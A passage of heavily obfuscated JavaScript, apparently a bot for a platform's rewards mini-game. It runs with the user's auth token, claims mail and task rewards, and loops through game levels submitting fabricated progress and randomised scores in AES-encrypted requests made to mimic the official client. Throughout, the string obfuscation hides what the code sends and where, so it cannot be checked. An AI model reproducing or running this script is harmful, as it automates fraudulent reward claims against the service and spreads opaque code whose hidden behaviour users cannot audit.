_0x42a6f4===_0x416bc8;},'jetfA':_0x4a89('0x104','\x7a\x44\x24\x37'),'sEhQO':_0x4a89('0x105','\x76\x40\x53\x26'),'bbgjF':function _0x43cdc9(_0x3c013a,_0x417d0d){return _0x3c013a!=_0x417d0d;},'jFMHu':_0x4a89('0x106','\x79\x46\x54\x35'),'fwLuB':_0x4a89('0x107','\x26\x49\x24\x6e'),'tWdvF':_0x4a89('0x108','\x63\x6d\x33\x74'),'YVfTj':function _0x1b4df0(_0x1d9a0a,_0x3b2050,_0x24008a){return _0x1d9a0a(_0x3b2050,_0x24008a);},'lhyDP':_0x4a89('0x109','\x57\x34\x33\x26'),'xOVnJ':function _0x541d74(_0x23fbac,_0x2dabbb,_0x264fd4){return _0x23fbac(_0x2dabbb,_0x264fd4);},'CtnCy':_0x4a89('0x10a','\x4a\x72\x5a\x70'),'FcMUp':_0x4a89('0x10b','\x76\x6e\x71\x41'),'UQbJL':_0x4a89('0x10c','\x66\x4c\x42\x4c'),'ZLZCB':_0x4a89('0x10d','\x7a\x44\x24\x37'),'AtmMz':function _0x2fa876(_0xa773ae,_0x3de54e){return _0xa773ae(_0x3de54e);},'uNQnr':_0x4a89('0x10e','\x79\x40\x64\x4b'),'zBxhn':_0x4a89('0x10f','\x6c\x5d\x34\x4d'),'cFNOn':function _0x1eb744(_0x5c4e01,_0x59a0ed){return _0x5c4e01!==_0x59a0ed;},'ZDBEy':_0x4a89('0x110','\x29\x28\x25\x40'),'hKENG':_0x4a89('0x111','\x4a\x72\x5a\x70'),'mJSun':_0x4a89('0x112','\x7a\x44\x24\x37'),'IITEw':_0x4a89('0x113','\x34\x4f\x38\x7a'),'fzkfx':function _0x36e5c0(_0x1e75df,_0x472ea0){return _0x1e75df(_0x472ea0);},'NJKwv':_0x4a89('0x114','\x44\x41\x65\x70'),'utWtM':function _0x27331a(_0x2621b9,_0x41de56){return _0x2621b9(_0x41de56);},'AlQkM':_0x4a89('0x115','\x48\x42\x70\x46'),'hPLNi':function _0x5c870c(_0x2c0008,_0x11230c){return _0x2c0008===_0x11230c;},'BIigf':_0x4a89('0x116','\x57\x34\x33\x26'),'hHeuI':_0x4a89('0x117','\x37\x77\x34\x40'),'tuuQt':_0x4a89('0x118','\x41\x2a\x23\x48'),'jvrwv':_0x4a89('0x119','\x30\x56\x64\x26'),'IfJZv':_0x4a89('0x11a','\x28\x34\x68\x71')};try{if(_0x81e94a[_0x4a89('0x11b','\x73\x5a\x2a\x75')](_0x81e94a[_0x4a89('0x11c','\x44\x41\x65\x70')],_0x81e94a[_0x4a89('0x11d','\x26\x49\x24\x6e')])){$[_0x4a89('0x11e','\x33\x6b\x57\x54')]=!![];$[_0x4a89('0x11f','\x26\x49\x24\x6e')]='';$[_0x4a89('0x120','\x48\x42\x70\x46')]='';if($[_0x4a89('0x121','\x28\x34\x68\x71')]){console[_0x4a89('0x122','\x69\x73\x50\x5b')](_0x81e94a[_0x4a89('0x123','\x4e\x2a\x74\x79')]);return;}await _0x81e94a[_0x4a89('0x124','\x63\x6d\x33\x74')](_0x3ebc13,_0x81e94a[_0x4a89('0x125','\x73\x5a\x2a\x75')]);if(_0x81e94a[_0x4a89('0x126','\x77\x25\x77\x37')]($[_0x4a89('0x127','\x66\x4c\x42\x4c')],'')){console[_0x4a89('0x128','\x79\x46\x54\x35')](_0x81e94a[_0x4a89('0x129','\x4e\x5a\x4c\x52')]);return;}await $[_0x4a89('0x12a','\x69\x73\x50\x5b')](0x3e8);await _0x81e94a[_0x4a89('0x12b','\x2a\x26\x74\x73')](_0x3ebc13,_0x81e94a[_0x4a89('0x12c','\x72\x29\x5b\x4f')]);if(!$[_0x4a89('0x12d','\x4a\x72\x5a\x70')])return;await $[_0x4a89('0xae','\x4a\x72\x5a\x70')](0x3e8);await _0x81e94a[_0x4a89('0x12e','\x4e\x5a\x4c\x52')](_0x3ebc13,_0x81e94a[_0x4a89('0x12f','\x28\x34\x68\x71')]);if(!$[_0x4a89('0x130','\x41\x2a\x23\x48')])return;await $[_0x4a89('0x131','\x34\x4f\x38\x7a')](0x3e8);console[_0x4a89('0x78','\x61\x6f\x26\x38')](_0x81e94a[_0x4a89('0x132','\x5e\x2a\x37\x5d')],$[_0x4a89('0x133','\x76\x40\x53\x26')],'\u4e2a');await _0x81e94a[_0x4a89('0x134','\x29\x78\x71\x25')](_0x3ebc13,_0x81e94a[_0x4a89('0x135','\x4e\x2a\x74\x79')]);if(!$[_0x4a89('0x136','\x35\x31\x52\x64')])return;await _0x81e94a[_0x4a89('0x137','\x29\x78\x71\x25')](_0x3ebc13,_0x81e94a[_0x4a89('0x138','\x21\x43\x21\x45')]);await $[_0x4a89('0x139','\x35\x31\x52\x64')](0x3e8);let _0x45326b=await _0x81e94a[_0x4a89('0x13a','\x79\x40\x64\x4b')](_0x3ebc13,_0x81e94a[_0x4a89('0x13b','\x31\x38\x57\x50')]);for(let _0x126681 of _0x45326b[_0x4a89('0x13c','\x33\x6b\x57\x54')]){if(_0x81e94a[_0x4a89('0x13d','\x79\x46\x54\x35')](_0x81e94a[_0x4a89('0x13e','\x59\x35\x4e\x31')],_0x81e94a[_0x4a89('0x13f','\x59\x35\x4e\x31')])){await _0x81e94a[_0x4a89('0x140','\x63\x5b\x4a\x78')](_0x3ebc13,_0x81e94a[_0x4a89('0x141','\x44\x41\x65\x70')],{'mailid':_0x126681[_0x4a89('0x142','\x4d\x6e\x43\x2a')],'id':$[_0x4a89('0x143','\x59\x35\x4e\x31')],'activeId':_0x81e94a[_0x4a89('0x144','\x66\x5a\x31\x52')],'authcode':$[_0x4a89('0x145','\x73\x5a\x2a\x75')],'token':$[_0x4a89('0x146','\x28\x34\x68\x71')]});console[_0x4a89('0x147','\x73\x38\x25\x52')](_0x81e94a[_0x4a89('0x148','\x31\x38\x57\x50')]);await $[_0x4a89('0x149','\x4d\x52\x33\x40')](0x3e8);await _0x81e94a[_0x4a89('0x14a','\x4a\x72\x5a\x70')](_0x3ebc13,_0x81e94a[_0x4a89('0x14b','\x63\x6d\x33\x74')],{'mailid':_0x126681[_0x4a89('0x14c','\x76\x68\x49\x5d')],'id':$[_0x4a89('0x14d','\x57\x34\x33\x26')],'activeid':_0x81e94a[_0x4a89('0x14e','\x44\x41\x65\x70')],'activeId':_0x81e94a[_0x4a89('0x14f','\x32\x50\x78\x4b')],'authcode':$[_0x4a89('0x150','\x4e\x5a\x4c\x52')],'token':$[_0x4a89('0x151','\x31\x38\x57\x50')]});}else{console[_0x4a89('0xab','\x32\x50\x78\x4b')](_0x81e94a[_0x4a89('0x152','\x7a\x44\x24\x37')]);return;}}await _0x81e94a[_0x4a89('0x153','\x37\x77\x34\x40')](_0x3ebc13,_0x81e94a[_0x4a89('0x154','\x2a\x26\x74\x73')]);await $[_0x4a89('0x155','\x63\x6d\x33\x74')](0x3e8);let _0x578211=await _0x81e94a[_0x4a89('0x156','\x4d\x6e\x43\x2a')](_0x3ebc13,_0x81e94a[_0x4a89('0x157','\x37\x77\x34\x40')]);console[_0x4a89('0x158','\x6e\x70\x2a\x75')](_0x81e94a[_0x4a89('0x159','\x40\x25\x33\x64')],_0x578211[_0x4a89('0x15a','\x6c\x5d\x34\x4d')],'\u5929');let _0x3d33f3=await _0x81e94a[_0x4a89('0x15b','\x28\x34\x68\x71')](_0x3ebc13,_0x81e94a[_0x4a89('0x15c','\x37\x77\x34\x40')]);await $[_0x4a89('0x15d','\x2a\x26\x5a\x74')](0x3e8);if(_0x81e94a[_0x4a89('0x15e','\x29\x28\x25\x40')](_0x3d33f3[_0x4a89('0x15f','\x48\x42\x70\x46')],0x0)){for(let _0x419ab2 of _0x3d33f3[_0x4a89('0x160','\x6e\x70\x2a\x75')]){if(_0x81e94a[_0x4a89('0x161','\x77\x25\x77\x37')](_0x81e94a[_0x4a89('0x162','\x41\x2a\x23\x48')],_0x81e94a[_0x4a89('0x163','\x6c\x5d\x34\x4d')])){console[_0x4a89('0x164','\x33\x6b\x57\x54')](_0x81e94a[_0x4a89('0x165','\x44\x41\x65\x70')]);}else{console[_0x4a89('0x166','\x76\x68\x49\x5d')](_0x81e94a[_0x4a89('0x167','\x21\x43\x21\x45')],_0x419ab2[_0x4a89('0x168','\x73\x38\x25\x52')]);}}}await _0x81e94a[_0x4a89('0x169','\x76\x6e\x71\x41')](_0x3ebc13,_0x81e94a[_0x4a89('0x16a','\x44\x55\x45\x49')]);await $[_0x4a89('0x16b','\x6b\x75\x5d\x50')](0x3e8);if(_0x81e94a[_0x4a89('0x16c','\x72\x29\x5b\x4f')]($[_0x4a89('0x16d','\x44\x55\x45\x49')],0x46)&&_0x81e94a[_0x4a89('0x16e','\x5e\x2a\x37\x5d')]($[_0x4a89('0x16f','\x40\x25\x33\x64')][0x0][_0x4a89('0x170','\x21\x43\x21\x45')][_0x4a89('0x171','\x6e\x70\x2a\x75')],_0x81e94a[_0x4a89('0x172','\x59\x35\x4e\x31')])){if(_0x81e94a[_0x4a89('0x173','\x61\x6f\x26\x38')](_0x81e94a[_0x4a89('0x174','\x73\x5a\x2a\x75')],_0x81e94a[_0x4a89('0x175','\x5e\x2a\x37\x5d')])){$[_0x4a89('0x176','\x69\x29\x75\x31')](_0x81e94a[_0x4a89('0x177','\x66\x5a\x31\x52')]);let _0x4c88c8=await _0x81e94a[_0x4a89('0x178','\x66\x4c\x42\x4c')](_0x3ebc13,_0x81e94a[_0x4a89('0x179','\x32\x50\x78\x4b')],{'consumeid':_0x81e94a[_0x4a89('0x17a','\x5e\x2a\x37\x5d')],'id':$[_0x4a89('0xc2','\x44\x41\x65\x70')],'activeid':_0x81e94a[_0x4a89('0x17b','\x34\x4f\x38\x7a')],'activeId':_0x81e94a[_0x4a89('0x17c','\x29\x78\x71\x25')],'authcode':$[_0x4a89('0x17d','\x77\x25\x77\x37')],'token':$[_0x4a89('0x17e','\x76\x68\x49\x5d')]});if(_0x81e94a[_0x4a89('0x17f','\x32\x50\x78\x4b')](_0x4c88c8[_0x4a89('0x180','\x59\x35\x4e\x31')],0x0))console[_0x4a89('0x181','\x4d\x52\x33\x40')](_0x81e94a[_0x4a89('0x182','\x73\x38\x25\x52')]);}else{let _0x4b6f49=_0x81e94a[_0x4a89('0x183','\x40\x25\x33\x64')](body[_0x4a89('0x184','\x63\x5b\x4a\x78')],$[_0x4a89('0x185','\x29\x78\x71\x25')][_0x4a89('0x186','\x2a\x26\x74\x73')])?0x1:0x2;let _0x156ed7=_0x81e94a[_0x4a89('0x187','\x30\x56\x64\x26')](_0x85c545,0x10);body={'__data__':_0x81e94a[_0x4a89('0x188','\x79\x46\x54\x35')](_0x270bd5,body,_0x156ed7,_0x4b6f49),'__iv__':_0x156ed7,'__id__':_0x81e94a[_0x4a89('0x189','\x63\x5b\x4a\x78')](_0x4b6f49,0x1)?$[_0x4a89('0x18a','\x77\x25\x77\x37')][_0x4a89('0x18b','\x5e\x2a\x37\x5d')]:$[_0x4a89('0x18c','\x26\x49\x24\x6e')][_0x4a89('0x18d','\x31\x38\x57\x50')]};$[_0x4a89('0x18e','\x66\x5a\x31\x52')]=body[_0x4a89('0x18f','\x30\x56\x64\x26')];}}let _0xc07132=await _0x81e94a[_0x4a89('0x190','\x79\x40\x64\x4b')](_0x3ebc13,_0x81e94a[_0x4a89('0x191','\x2a\x26\x5a\x74')]);await $[_0x4a89('0x192','\x44\x55\x45\x49')](0x3e8);$[_0x4a89('0x193','\x2a\x26\x74\x73')](_0x81e94a[_0x4a89('0x194','\x69\x73\x50\x5b')]);for(let _0x25be7b of _0xc07132[_0x4a89('0x195','\x4e\x5a\x4c\x52')]){if(_0x25be7b[_0x4a89('0x196','\x4e\x2a\x74\x79')][_0x4a89('0x197','\x33\x6b\x57\x54')]){console[_0x4a89('0x198','\x73\x75\x5e\x55')](_0x25be7b[_0x4a89('0x170','\x21\x43\x21\x45')][_0x4a89('0x199','\x33\x6b\x57\x54')],_0x81e94a[_0x4a89('0x19a','\x4d\x6e\x43\x2a')]);}else{await _0x81e94a[_0x4a89('0x19b','\x44\x55\x45\x49')](_0x3ebc13,_0x81e94a[_0x4a89('0x19c','\x32\x50\x78\x4b')],{'taskId':_0x25be7b[_0x4a89('0xf1','\x6c\x5d\x34\x4d')][_0x4a89('0x19d','\x5e\x2a\x37\x5d')],'taskType':_0x25be7b[_0x81e94a[_0x4a89('0x19e','\x66\x75\x5b\x65')]][_0x4a89('0x19f','\x5e\x2a\x37\x5d')],'value':_0x25be7b[_0x4a89('0x1a0','\x63\x5b\x4a\x78')][_0x4a89('0x1a1','\x7a\x44\x24\x37')],'id':$[_0x4a89('0x14d','\x57\x34\x33\x26')],'activeid':_0x81e94a[_0x4a89('0x1a2','\x48\x42\x70\x46')],'activeId':_0x81e94a[_0x4a89('0x1a3','\x21\x4f\x50\x57')],'authcode':$[_0x4a89('0x1a4','\x66\x5a\x31\x52')],'token':$[_0x4a89('0x1a5','\x34\x4f\x38\x7a')]});await $[_0x4a89('0xaa','\x29\x78\x71\x25')](0x3e8);await _0x81e94a[_0x4a89('0x1a6','\x4d\x52\x33\x40')](_0x3ebc13,_0x81e94a[_0x4a89('0x1a7','\x63\x6d\x33\x74')],{'taskid':_0x25be7b[_0x4a89('0x1a8','\x6b\x75\x5d\x50')][_0x4a89('0x1a9','\x76\x6e\x71\x41')],'id':$[_0x4a89('0x1aa','\x6e\x70\x2a\x75')],'activeid':_0x81e94a[_0x4a89('0x1ab','\x28\x34\x68\x71')],'activeId':_0x81e94a[_0x4a89('0x17c','\x29\x78\x71\x25')],'authcode':$[_0x4a89('0x1ac','\x6c\x5d\x34\x4d')],'token':$[_0x4a89('0x1ad','\x59\x35\x4e\x31')]});}}$[_0x4a89('0x1ae','\x33\x6b\x57\x54')]=_0x81e94a[_0x4a89('0x1af','\x41\x2a\x23\x48')](Number,$[_0x4a89('0x1b0','\x79\x40\x64\x4b')]['\x69\x64'])||$[_0x4a89('0x1b1','\x79\x40\x64\x4b')];for(let _0x986840=0x0;_0x81e94a[_0x4a89('0x1b2','\x77\x25\x77\x37')](_0x986840,0x32);_0x986840++){if(_0x81e94a[_0x4a89('0x1b3','\x29\x28\x25\x40')](_0x81e94a[_0x4a89('0x1b4','\x61\x6f\x26\x38')],_0x81e94a[_0x4a89('0x1b5','\x29\x28\x25\x40')])){console[_0x4a89('0x1b6','\x28\x34\x68\x71')](type+'\x20'+res[_0x4a89('0x1b7','\x32\x50\x78\x4b')]);}else{$[_0x4a89('0x1b8','\x73\x75\x5e\x55')]=_0x81e94a[_0x4a89('0x1b9','\x57\x34\x33\x26')]($[_0x4a89('0x1ba','\x2a\x26\x5a\x74')],0x1);let _0x357ea9=await _0x81e94a[_0x4a89('0x1bb','\x63\x5b\x4a\x78')](_0x3ebc13,_0x81e94a[_0x4a89('0x1bc','\x73\x5a\x2a\x75')]);await $[_0x4a89('0x1bd','\x21\x43\x21\x45')](0x3e8);if(!_0x357ea9[_0x4a89('0x1be','\x6b\x75\x5d\x50')]){if(_0x81e94a[_0x4a89('0x1bf','\x41\x2a\x23\x48')](_0x357ea9[_0x4a89('0x1c0','\x2a\x26\x74\x73')],_0x81e94a[_0x4a89('0x1c1','\x6c\x5d\x34\x4d')])){$[_0x4a89('0x1c2','\x21\x4f\x50\x57')]=_0x81e94a[_0x4a89('0x1c3','\x57\x34\x33\x26')]($[_0x4a89('0x1c4','\x66\x5a\x31\x52')],0x1);_0x357ea9=await _0x81e94a[_0x4a89('0x1c5','\x35\x31\x52\x64')](_0x3ebc13,_0x81e94a[_0x4a89('0x1c6','\x32\x50\x78\x4b')]);if(!_0x357ea9[_0x4a89('0x1c7','\x32\x50\x78\x4b')]){console[_0x4a89('0x1c8','\x66\x75\x5b\x65')](_0x357ea9[_0x4a89('0x1c9','\x21\x43\x21\x45')]);break;}}else if(_0x81e94a[_0x4a89('0x1ca','\x44\x55\x45\x49')](_0x357ea9[_0x4a89('0x1cb','\x6b\x75\x5d\x50')],_0x81e94a[_0x4a89('0x1cc','\x57\x34\x33\x26')])){if(_0x81e94a[_0x4a89('0x1cd','\x63\x5b\x4a\x78')](_0x81e94a[_0x4a89('0x1ce','\x35\x31\x52\x64')],_0x81e94a[_0x4a89('0x1cf','\x6c\x5d\x34\x4d')])){if(data){res=JSON[_0x4a89('0x1d0','\x61\x6f\x26\x38')](data);if(res[_0x4a89('0x1d1','\x76\x40\x53\x26')]){let _0x4b8591=_0x81e94a[_0x4a89('0x1d2','\x61\x6f\x26\x38')]($[_0x4a89('0x1d3','\x37\x77\x34\x40')],$[_0x4a89('0x1d4','\x35\x31\x52\x64')][_0x4a89('0x1d5','\x76\x68\x49\x5d')])?0x4:0x3,_0x6b3945=_0x81e94a[_0x4a89('0x1d6','\x59\x35\x4e\x31')](_0x270bd5,res,res[_0x4a89('0x1d7','\x76\x40\x53\x26')],_0x4b8591);res=JSON[_0x4a89('0x1d8','\x73\x5a\x2a\x75')](_0x6b3945);}}}else{$[_0x4a89('0x1d9','\x4d\x6e\x43\x2a')]=_0x81e94a[_0x4a89('0x1da','\x57\x34\x33\x26')](_0x40c5ce,0x32,$[_0x4a89('0x1db','\x63\x5b\x4a\x78')]);}}else{if(_0x81e94a[_0x4a89('0x1dc','\x4e\x2a\x74\x79')](_0x81e94a[_0x4a89('0x1dd','\x37\x77\x34\x40')],_0x81e94a[_0x4a89('0x1de','\x66\x5a\x31\x52')])){let _0xf40f3c=_0x81e94a[_0x4a89('0x1df','\x2a\x26\x74\x73')]($[_0x4a89('0x1e0','\x4d\x6e\x43\x2a')],$[_0x4a89('0x1e1','\x30\x56\x64\x26')][_0x4a89('0x1e2','\x41\x2a\x23\x48')])?0x4:0x3,_0x5339ea=_0x81e94a[_0x4a89('0x1e3','\x44\x41\x65\x70')](_0x270bd5,res,res[_0x4a89('0x1e4','\x6e\x70\x2a\x75')],_0xf40f3c);res=JSON[_0x4a89('0x1e5','\x6c\x5d\x34\x4d')](_0x5339ea);}else{$[_0x4a89('0x1e6','\x21\x4f\x50\x57')](_0x81e94a[_0x4a89('0x1e7','\x21\x43\x21\x45')]);break;}}}$[_0x4a89('0x1e8','\x26\x49\x24\x6e')](_0x4a89('0x1e9','\x4d\x6e\x43\x2a')+$[_0x4a89('0x1ea','\x79\x46\x54\x35')]+'\u5173');await $[_0x4a89('0x1eb','\x30\x56\x64\x26')](0x1388);process[_0x4a89('0x1ec','\x73\x75\x5e\x55')][_0x4a89('0x1ed','\x2a\x26\x74\x73')](_0x81e94a[_0x4a89('0x1ee','\x5e\x2a\x37\x5d')]);await _0x81e94a[_0x4a89('0x1ef','\x6e\x70\x2a\x75')](_0x3ebc13,_0x81e94a[_0x4a89('0x1f0','\x66\x75\x5b\x65')],{'gameId':$[_0x4a89('0x1f1','\x2a\x26\x5a\x74')],'token':$[_0x4a89('0x1f2','\x2a\x26\x5a\x74')],'gameInfo':{'failCount':$[_0x4a89('0x1f3','\x34\x4f\x38\x7a')]},'reqsId':0x1d});await $[_0x4a89('0x1f4','\x29\x28\x25\x40')](0x1388);process[_0x4a89('0x1f5','\x30\x56\x64\x26')][_0x4a89('0x1f6','\x66\x5a\x31\x52')](_0x81e94a[_0x4a89('0x1ee','\x5e\x2a\x37\x5d')]);await _0x81e94a[_0x4a89('0x1f7','\x21\x4f\x50\x57')](_0x3ebc13,_0x81e94a[_0x4a89('0x1f8','\x77\x25\x77\x37')]);await $[_0x4a89('0x1f9','\x37\x77\x34\x40')](0x1388);process[_0x4a89('0x1fa','\x76\x68\x49\x5d')][_0x4a89('0x1fb','\x21\x43\x21\x45')](_0x81e94a[_0x4a89('0x1fc','\x21\x43\x21\x45')]);await _0x81e94a[_0x4a89('0x1fd','\x33\x6b\x57\x54')](_0x3ebc13,_0x81e94a[_0x4a89('0x1fe','\x66\x5a\x31\x52')],{'gameId':$[_0x4a89('0x1ff','\x72\x29\x5b\x4f')],'token':$[_0x4a89('0x200','\x5e\x2a\x37\x5d')],'gameInfo':{'guideId':$[_0x4a89('0x201','\x29\x28\x25\x40')],'levelId':$[_0x4a89('0x202','\x37\x77\x34\x40')],'isShowRSGuide':![]},'reqsId':0x1f});await $[_0x4a89('0x203','\x6e\x70\x2a\x75')](0x1388);process[_0x4a89('0x204','\x61\x6f\x26\x38')][_0x4a89('0x205','\x34\x4f\x38\x7a')](_0x81e94a[_0x4a89('0x206','\x4d\x6e\x43\x2a')]);await _0x81e94a[_0x4a89('0x207','\x69\x29\x75\x31')](_0x3ebc13,_0x81e94a[_0x4a89('0x208','\x57\x34\x33\x26')],{'gameId':$[_0x4a89('0x209','\x4e\x5a\x4c\x52')],'token':$[_0x4a89('0x20a','\x77\x25\x77\x37')],'gameInfo':{'guideId':$[_0x4a89('0x20b','\x40\x25\x33\x64')],'levelId':$[_0x4a89('0x20c','\x76\x68\x49\x5d')],'isShowRSGuide':![]},'reqsId':0x20});await $[_0x4a89('0x20d','\x69\x29\x75\x31')](0x1388);process[_0x4a89('0x20e','\x66\x75\x5b\x65')][_0x4a89('0x20f','\x26\x49\x24\x6e')](_0x81e94a[_0x4a89('0x210','\x57\x34\x33\x26')]);let _0x1595e1=await _0x81e94a[_0x4a89('0x211','\x2a\x26\x74\x73')](_0x3ebc13,_0x81e94a[_0x4a89('0x212','\x32\x50\x78\x4b')]);await $[_0x4a89('0x213','\x72\x29\x5b\x4f')](0x3e8);await _0x81e94a[_0x4a89('0x214','\x44\x41\x65\x70')](_0x3ebc13,_0x81e94a[_0x4a89('0x215','\x73\x75\x5e\x55')],{'gameId':$[_0x4a89('0x216','\x21\x43\x21\x45')],'token':$[_0x4a89('0x217','\x48\x42\x70\x46')],'gameInfo':{'failCount':$[_0x4a89('0x218','\x76\x6e\x71\x41')]},'reqsId':0x22});if(!_0x1595e1[_0x4a89('0x219','\x4e\x5a\x4c\x52')]){$[_0x4a89('0x5d','\x5e\x2a\x37\x5d')](_0x81e94a[_0x4a89('0x21a','\x73\x75\x5e\x55')],_0x1595e1[_0x4a89('0x21b','\x7a\x44\x24\x37')]);break;}$[_0x4a89('0x21c','\x41\x2a\x23\x48')](_0x4a89('0x21d','\x7a\x44\x24\x37')+$[_0x4a89('0x202','\x37\x77\x34\x40')]+'\u5173');}}await _0x81e94a[_0x4a89('0x21e','\x63\x6d\x33\x74')](_0x3ebc13,_0x81e94a[_0x4a89('0x21f','\x66\x4c\x42\x4c')]);for(let _0x42fdd8=0x0;_0x81e94a[_0x4a89('0x220','\x63\x6d\x33\x74')](_0x42fdd8,0xa);_0x42fdd8++){if(_0x81e94a[_0x4a89('0x221','\x4d\x52\x33\x40')](_0x42fdd8,0x0)){$[_0x4a89('0x222','\x37\x77\x34\x40')]=0x9ca7;}else{$[_0x4a89('0x223','\x69\x73\x50\x5b')]=_0x81e94a[_0x4a89('0x224','\x76\x68\x49\x5d')](_0x40c5ce,0x9ca5,0x9cab);}let _0x316f4f=await _0x81e94a[_0x4a89('0x225','\x57\x34\x33\x26')](_0x3ebc13,_0x81e94a[_0x4a89('0x226','\x66\x4c\x42\x4c')]);if(_0x316f4f[_0x4a89('0x227','\x21\x4f\x50\x57')]&&_0x316f4f[_0x4a89('0x228','\x76\x68\x49\x5d')][_0x4a89('0x229','\x4d\x52\x33\x40')]){if(_0x81e94a[_0x4a89('0x22a','\x4e\x2a\x74\x79')](_0x81e94a[_0x4a89('0x22b','\x4e\x5a\x4c\x52')],_0x81e94a[_0x4a89('0x22c','\x48\x42\x70\x46')])){if(_0x81e94a[_0x4a89('0x22d','\x29\x28\x25\x40')](typeof res[_0x4a89('0x22e','\x40\x25\x33\x64')],_0x81e94a[_0x4a89('0x22f','\x21\x43\x21\x45')]))$[_0x4a89('0x230','\x6b\x75\x5d\x50')]=res[_0x4a89('0x231','\x61\x6f\x26\x38')];}else{var _0x12c1d5=_0x81e94a[_0x4a89('0x232','\x4d\x52\x33\x40')][_0x4a89('0x233','\x6b\x75\x5d\x50')]('\x7c'),_0x41ebe6=0x0;while(!![]){switch(_0x12c1d5[_0x41ebe6++]){case'\x30':await _0x81e94a[_0x4a89('0x234','\x2a\x26\x5a\x74')](_0x3ebc13,_0x81e94a[_0x4a89('0x235','\x76\x68\x49\x5d')]);continue;case'\x31':process[_0x4a89('0x236','\x66\x5a\x31\x52')][_0x4a89('0x237','\x32\x50\x78\x4b')](_0x81e94a[_0x4a89('0x238','\x6c\x5d\x34\x4d')]);continue;case'\x32':process[_0x4a89('0x239','\x7a\x44\x24\x37')][_0x4a89('0x23a','\x57\x34\x33\x26')](_0x81e94a[_0x4a89('0x23b','\x69\x73\x50\x5b')]);continue;case'\x33':process[_0x4a89('0x23c','\x4e\x5a\x4c\x52')][_0x4a89('0x23d','\x61\x6f\x26\x38')](_0x81e94a[_0x4a89('0x1ee','\x5e\x2a\x37\x5d')]);continue;case'\x34':await _0x81e94a[_0x4a89('0x23e','\x29\x78\x71\x25')](_0x3ebc13,_0x81e94a[_0x4a89('0x23f','\x4d\x52\x33\x40')],{'gameId':$[_0x4a89('0x240','\x73\x38\x25\x52')],'token':$[_0x4a89('0x241','\x6e\x70\x2a\x75')],'gameInfo':{'failCount':$[_0x4a89('0x242','\x4d\x52\x33\x40')]},'reqsId':0x22});continue;case'\x35':await $[_0x4a89('0x243','\x4e\x2a\x74\x79')](0x1388);continue;case'\x36':await $[_0x4a89('0x15d','\x2a\x26\x5a\x74')](0x1388);continue;case'\x37':await _0x81e94a[_0x4a89('0x244','\x61\x6f\x26\x38')](_0x3ebc13,_0x81e94a[_0x4a89('0x245','\x4d\x6e\x43\x2a')]);continue;case'\x38':await $[_0x4a89('0x246','\x21\x4f\x50\x57')](0x1388);continue;case'\x39':await _0x81e94a[_0x4a89('0x247','\x57\x34\x33\x26')](_0x3ebc13,_0x81e94a[_0x4a89('0x248','\x61\x6f\x26\x38')],{'gameId':$[_0x4a89('0x249','\x30\x56\x64\x26')],'token':$[_0x4a89('0x24a','\x69\x73\x50\x5b')],'gameInfo':{'failCount':$[_0x4a89('0x24b','\x66\x4c\x42\x4c')]},'reqsId':0x1d});continue;case'\x31\x30':$[_0x4a89('0x24c','\x66\x5a\x31\x52')](_0x81e94a[_0x4a89('0x24d','\x48\x42\x70\x46')]);continue;case'\x31\x31':await _0x81e94a[_0x4a89('0x24e','\x41\x2a\x23\x48')](_0x3ebc13,_0x81e94a[_0x4a89('0x24f','\x21\x4f\x50\x57')],{'gameId':$[_0x4a89('0x250','\x66\x75\x5b\x65')],'token':$[_0x4a89('0x241','\x6e\x70\x2a\x75')],'gameInfo':{'guideId':$[_0x4a89('0x251','\x59\x35\x4e\x31')],'levelId':$[_0x4a89('0x252','\x2a\x26\x5a\x74')],'isShowRSGuide':![]},'reqsId':0x20});continue;case'\x31\x32':process[_0x4a89('0x253','\x77\x25\x77\x37')][_0x4a89('0x254','\x4e\x5a\x4c\x52')](_0x81e94a[_0x4a89('0x255','\x73\x38\x25\x52')]);continue;case'\x31\x33':await $[_0x4a89('0x1bd','\x21\x43\x21\x45')](0x1388);continue;case'\x31\x34':process[_0x4a89('0x256','\x28\x34\x68\x71')][_0x4a89('0x257','\x40\x25\x33\x64')](_0x81e94a[_0x4a89('0x258','\x6e\x70\x2a\x75')]);continue;case'\x31\x35':await $[_0x4a89('0x259','\x61\x6f\x26\x38')](0x3e8);continue;case'\x31\x36':await $[_0x4a89('0x25a','\x7a\x44\x24\x37')](0x3e8);continue;case'\x31\x37':await _0x81e94a[_0x4a89('0x25b','\x76\x6e\x71\x41')](_0x3ebc13,_0x81e94a[_0x4a89('0x25c','\x76\x6e\x71\x41')],{'gameId':$[_0x4a89('0x25d','\x73\x5a\x2a\x75')],'token':$[_0x4a89('0x25e','\x69\x29\x75\x31')],'gameInfo':{'guideId':$[_0x4a89('0x25f','\x29\x78\x71\x25')],'levelId':$[_0x4a89('0x260','\x29\x78\x71\x25')],'isShowRSGuide':![]},'reqsId':0x1f});continue;case'\x31\x38':await $[_0x4a89('0x1f4','\x29\x28\x25\x40')](0x1388);continue;}break;}}}else{if(_0x81e94a[_0x4a89('0x261','\x26\x49\x24\x6e')](_0x81e94a[_0x4a89('0x262','\x69\x73\x50\x5b')],_0x81e94a[_0x4a89('0x263','\x34\x4f\x38\x7a')])){console[_0x4a89('0x264','\x4d\x6e\x43\x2a')](_0x81e94a[_0x4a89('0x265','\x57\x34\x33\x26')]);break;}else{var _0x2732ed=_0x3b5a4b[_0x4a89('0x266','\x59\x35\x4e\x31')][_0x4a89('0x267','\x31\x38\x57\x50')](body[_0x4a89('0x268','\x66\x5a\x31\x52')],_0x3b5a4b[_0x4a89('0x269','\x32\x50\x78\x4b')][_0x4a89('0x26a','\x66\x4c\x42\x4c')][_0x4a89('0x26b','\x69\x29\x75\x31')](encnum),{'iv':_0x3b5a4b[_0x4a89('0x26c','\x76\x68\x49\x5d')][_0x4a89('0x26d','\x29\x28\x25\x40')][_0x4a89('0x26e','\x44\x41\x65\x70')](str),'mode':_0x3b5a4b[_0x4a89('0x26f','\x61\x6f\x26\x38')][_0x4a89('0x270','\x44\x55\x45\x49')],'padding':_0x3b5a4b[_0x4a89('0x271','\x2a\x26\x5a\x74')][_0x4a89('0x272','\x44\x41\x65\x70')]}),_0x34c156=_0x2732ed[_0x4a89('0x273','\x76\x68\x49\x5d')](_0x3b5a4b[_0x4a89('0x274','\x69\x29\x75\x31')][_0x4a89('0x275','\x63\x6d\x33\x74')]);return _0x34c156[_0x4a89('0x276','\x21\x43\x21\x45')]();}}}$[_0x4a89('0x277','\x7a\x44\x24\x37')](_0x81e94a[_0x4a89('0x278','\x57\x34\x33\x26')]);for(let _0x571367 of _0x81e94a[_0x4a89('0x279','\x66\x5a\x31\x52')](Array,0xa)){let _0x3b3bd4=await 